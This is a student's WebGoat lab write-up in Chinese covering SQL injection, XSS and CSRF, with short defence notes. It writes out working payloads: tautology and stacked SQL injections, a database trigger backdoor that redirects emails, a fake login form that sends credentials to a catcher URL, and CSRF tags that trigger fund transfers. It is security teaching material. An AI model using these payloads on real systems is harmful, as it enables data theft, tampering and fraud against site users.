20145312 《网络对抗》 Web安全基础实践

问题回答

  1. SQL注入攻击原理,如何防御

    原理:攻击者在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,把SQL语句当做用户名等输入正常网页中以获取数据库信息的攻击或对数据库增删查改的基本操作。

    防御:限制SQL字符串连接的配置文件;指定错误返回页面;替换或删除单引号;去除代码中的敏感信息;封装数据信息等。

  2. XSS攻击的原理,如何防御

    原理:恶意攻击者通过往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

    防御:对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。如果有时候不能过滤的话,就将敏感的字符进行替换,让代码失去本来的样子,在读取的时候在替换回来。

  3. CSRF攻击原理,如何防御

    原理:CSRF是跨站请求伪造,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。

    防范:通过验证码来检测用户提交,尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post 操作 ,避免全站通用的cookie,严格设置cookie的域。

实验总结

这次实验进阶性的学习了SQL注入攻击、XSS攻击和CSRF攻击原理。我一共做了10个小实验。其中SQL注入攻击需要用到burpsuite做代理,于是我还熟悉了burpsuite的使用方法。还有,博客发迟了,请老师谅解。。

实践过程

实验前准备

  • 在在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启webgoat,直到出现INFO: Starting ProtocolHandler ["http-bio-8080"],打开浏览器,在浏览器中输入localhost:8080/WebGoat进入webgoat

SQL注入

Numeric SQL Injection

  • 这一步中用到了burpsuite做代理,将查找语句101后加上or 1=1

  • 成功截图

Log Spoofing

  • 登陆欺骗,通过在用户名中输入%0d%0aLogin succeeded !admin使用户看起来像登录成功,成功截图如下:

String SQL Injection

  • 通过输入查询的语句使得整张表得以显示,在其中输入' or 1=1;--
  • 此时注入的SQL语句为SELECT * FROM user_data WHERE last_name = '' or 1=1;--',即查询表中所有信息。成功截图如下:

Stage 1 String SQL Injection

  • 在密码中输入' or 1=1 --,失败,发现密码只能输入8位

  • 于是可以改一下代码:

  • 成功截图如下:

Database Backdoors

  • 通过输入101; update employee set salary=5312来给id为101的人改工资

  • 注入成功

  • 留一个后门,让所有新用户的邮箱都是我的,工资都邮到我的邮箱

101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='yuanxin@qq.com' WHERE userid = NEW.userid

XSS攻击

CSRF(Cross Site Request Forgery)

  • 编写前端代码并在输入框中注入这段前端代码
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

  • 显示如下

  • 输入用户名和密码,提交即可截获

  • 成功截图如下

Stored XSS Attacks 存储型XSS攻击

  • 在Message里输入

  • Message List出现刚才的消息title

  • 点击弹出对话框

  • 成功截图如下:

Reflected XSS Attacks

  • 输入指定的URL值,这里的效果为弹出方框
http://www.targetserver.com/search.asp?input=<script>alert("hello20145312");</script>

  • 成功截图如下:

XSCF攻击

CSRF(Cross Site Request Forgery)

  • 在message里输入<img src='attack?Screen=276&menu=900&transferFunds=145312' width='1' height='1'>这其中,276是我网页的scr,900是我的网页的menu,145312是转钱数额。

  • 点击20145212,方才的代码就会被执行

CSRF Prompt By-Pass

  • 与上个实验类似,同样是通过邮件的方式进行恶意请求,这里添加了请求确认的要求,所以需要两个iframe模块,输入如下:
<iframe src="attack?Screen=276&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=276&menu=900&transferFunds=CONFIRM"> </iframe>
  • 成功截图如下:

20145312 《网络对抗》 Web安全基础实践的更多相关文章

  1. 20145334赵文豪网络对抗Web安全基础实践

    1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...

  2. 2018-2019 20165221 网络对抗 Exp5 MSF基础

    2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...

  3. 20145306 网路攻防 web安全基础实践

    20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...

  4. 20155324《网络对抗技术》web安全基础实践

    20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在 ...

  5. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  6. 20145203盖泽双 《网络对抗技术》实践九:Web安全基础实践

    20145203盖泽双 <网络对抗技术>实践九:Web安全基础实践 1.实践目标 1.理解常用网络攻击技术的基本原理. 2.Webgoat下进行相关实验:SQL注入攻击.XSS攻击.CSR ...

  7. 20145236《网络对抗》Exp9 web安全基础实践

    20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  8. 20145215《网络对抗》Exp9 Web安全基础实践

    20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  9. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

随机推荐

  1. HDU 3045 - Picnic Cows - [斜率DP]

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=3045 It’s summer vocation now. After tedious milking, ...

  2. PAT-GPLT L1-039 - 古风排版 - [字符串输入输出]

    题目链接:https://www.patest.cn/contests/gplt/L1-039 时间限制 400 ms 内存限制 65536 kB 代码长度限制 8000 B 判题程序 Standar ...

  3. How to disable a plugin when Jenkins is down?

    ===(different .jpi and bak and restore it )=== A plugin is preventing Jenkins to restart Environment ...

  4. python 时间字符串和时间戳之间的转换

    https://blog.csdn.net/qq_37193537/article/details/78987949   1.将字符串的时间转换为时间戳    方法:        a = " ...

  5. Tunnel Warfare--- hdu1540 线段树求连续子区间

    题目链接 题意:有n个村庄,编号分别为1-n:由于战争会破坏村庄,但是我们也会修复: D x代表村庄x被破坏: Q x是求与x相连的有几个没有被破坏: R 是修复最后一次被破坏的村庄: 接下来有m个操 ...

  6. Cow Contest---poj3660

    题目链接:http://poj.org/problem?id=3660 题意:有n头牛,m个关系,a b意思是a能打败b:求能确定排名的有几个: 如果一头牛被x头牛打败,并且可以打败y头牛,如果x+y ...

  7. vue 中 命名视图的用法

    今天主要记录  vue中命名视图的用法 先奉上官网网址:https://router.vuejs.org/zh/guide/essentials/named-views.html 一般情况下,一个页面 ...

  8. Redis主从同步及哨兵原理

    1.复制过程 复制过程大致分为6个过程: 流程图如下: 1)保存主节点信息 执行slaveof后从节点只保存主节点的地址信息便直接返回,这时建立复制流程还没有开始,在从节点执行info replica ...

  9. 查询删除安装rpm -qa | grep -i wrapname

    查询:rpm -qa | grep -i wrapname 删除:sudo rpm -ev wrapname 删除依赖:sudo rpm -ev --nodeps mysql-libs-5.6.60- ...

  10. requests库的小技巧

    #coding:utf-8 import requests # url = 'http://www.baidu.com' # response = requests.get(url) # print ...